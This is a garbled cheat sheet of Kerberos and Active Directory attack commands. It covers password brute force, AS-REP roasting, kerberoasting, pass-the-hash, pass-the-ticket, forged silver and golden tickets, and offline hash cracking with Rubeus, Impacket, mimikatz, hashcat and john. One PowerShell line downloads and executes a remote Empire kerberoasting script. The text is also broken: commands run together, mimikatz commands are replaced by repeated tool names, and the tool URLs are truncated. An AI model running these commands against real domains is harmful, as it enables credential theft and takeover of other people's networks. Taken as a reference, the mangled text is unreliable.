0x01 brute force

Use kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file> .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

0x02 ASPEPRoast

Example getnpusers.py using impacket:

python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

Using Rubeus:

.\Rubeus.exe asreproast /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file> hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>
john --wordlist=<passwords_file> <AS_REP_responses_file>

0x03 kerberosting attack

Use the impacket example getuserspns.py:

python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>

Using Rubeus:

.\Rubeus.exe kerberoast /outfile:<output_TGSs_file>

Using PowerShell:

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>

Password dictionary cracking:

hashcat -m 13100 --force <TGSs_file> <passwords_file>

john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>

john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file> 0x04 Pass The Hash & Pass The Key 通过使用Impacket示例：

python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>python getTGT.py <domain_name>/<user_name>:[password]export KRB5CCNAME=<TGT_ccache_file>python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass .\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt.\PsExec.exe -accepteula \\<remote_hostname> cmd

0x05 Pass The Ticket (PTT)

Get tickets from Linux

Check the type and location of tickets:

grep default_ccache_name /etc/krb5.conf

If not returned, the default is file: / TMP / krb5cc {uid}

/tmp/krb5cc_%{uid}

In the case of tickets files, you can copy and paste (if you have permission) to use them.

If it's keying tickets, you can use ticker to get:

cp tickey /tmp/tickey
/tmp/tickey -i

Get tickets from windows

Using mimikatz:

mimikatz # sekurlsa::tickets /export

Use Rubeus in PowerShell:

.\Rubeus dump[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>")) python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi

Using ticket in Linux:

Use the impacket example:

export KRB5CCNAME=<TGT_ccache_file_path>python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass mimikatz

Use Rubeus to inject ticket:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Use psexec to execute CMD on the remote machine:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

0x06 Silver ticket

Use the impacket example:

python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>export KRB5CCNAME=<TGS_ccache_file>python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

Using mimikatz:

mimikatz mimikatz mimikatz mimikatz

Use Rubeus to inject ticket:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Use psexec to execute CMD on the remote machine:

.\PsExec.exe -accepteula \\<remote_hostname> cmd python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> <user_name>python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> <user_name>export KRB5CCNAME=<TGS_ccache_file>python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

Using mimikatz:

mimikatz mimikatz mimikatz mimikatz .\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Use psexec to execute CMD on the remote machine:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

0x08 miscellaneous

Known password get NTLM:

python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())' kerbrute.py：https: Rubeus：https: PsExec：https: Impacket：https: tickey：https: Mimikatz：https: